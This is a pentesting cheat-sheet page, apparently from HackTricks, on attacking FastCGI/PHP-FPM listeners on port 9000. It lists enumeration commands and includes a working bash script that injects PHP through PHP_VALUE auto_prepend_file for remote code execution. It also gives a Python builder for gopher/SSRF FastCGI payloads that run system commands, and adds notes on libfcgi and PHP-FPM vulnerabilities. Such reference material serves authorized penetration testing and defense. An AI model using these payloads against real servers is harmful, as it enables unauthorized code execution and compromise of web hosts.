// HackTricks · Network Services

9000 Pentesting FastCGI

9000 Pentesting FastCGI

Basic Information

If you want to learn what is FastCGI check the following page:

Disable Functions Bypass Php Fpm Fastcgi

TCP/9000 is a common PHP-FPM/FastCGI configuration, not a protocol-mandated default. PHP-FPM can instead listen on another TCP address or a Unix socket; secure deployments normally restrict which clients can reach it.[4]

Enumeration / Quick checks

  • Port scan: nmap -sV -p9000 <target> (will often show “unknown” service; manually test).
  • Probe an explicitly configured FPM status page: SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000. pm.status_path is unset by default, so /status works only when enabled.[4]
  • Find reachable sockets via SSRF: if an HTTP service is exploitable for SSRF, try gopher://127.0.0.1:9000/_... payloads to hit the FastCGI listener.
  • Nginx misconfigs: cgi.fix_pathinfo=1 with fastcgi_split_path_info errors let you append /.php to static files and reach PHP (code exec via traversal).

RCE

It’s quite easy to make FastCGI execute arbitrary code:

Send FastCGI request that prepends PHP payload
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" 
FILENAMES="/var/www/public/index.php" # Existing file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

Alternatively, the referenced Python FastCGI client can generate the request.[5]

SSRF/gopher to FastCGI (when 9000 is not directly reachable)

If you only control an SSRF primitive, you can still hit FastCGI using the gopher scheme and craft a full FastCGI request. Example payload builder:

Build and send a gopher FastCGI RCE payload
import struct, socket
host, port = "127.0.0.1", 9000
params = {
    b"REQUEST_METHOD": b"POST",
    b"SCRIPT_FILENAME": b"/var/www/html/index.php",
    b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"

def rec(rec_type, content, req_id=1):
    return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content

def enc_params(d):
    out = b""
    for k, v in d.items():
        out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
    return out
payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
payload += rec(5, body)                                # FCGI_STDIN

s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))

Convert payload to URL-safe base64/percent-encoding and send via gopher://host:9000/_<payload> in your SSRF.

Notes on recent issues

  • libfcgi <= 2.4.4 integer overflow (2024): crafted nameLen/valueLen in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).[1][2]
  • PHP-FPM log manipulation (CVE-2024-9026): when catch_workers_output = yes, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.[3]
  • Classic Nginx + cgi.fix_pathinfo misconfig: still widely seen; if fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; is used without file existence checks, any path ending in .php gets executed, enabling path traversal or source overwrite style gadgets.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.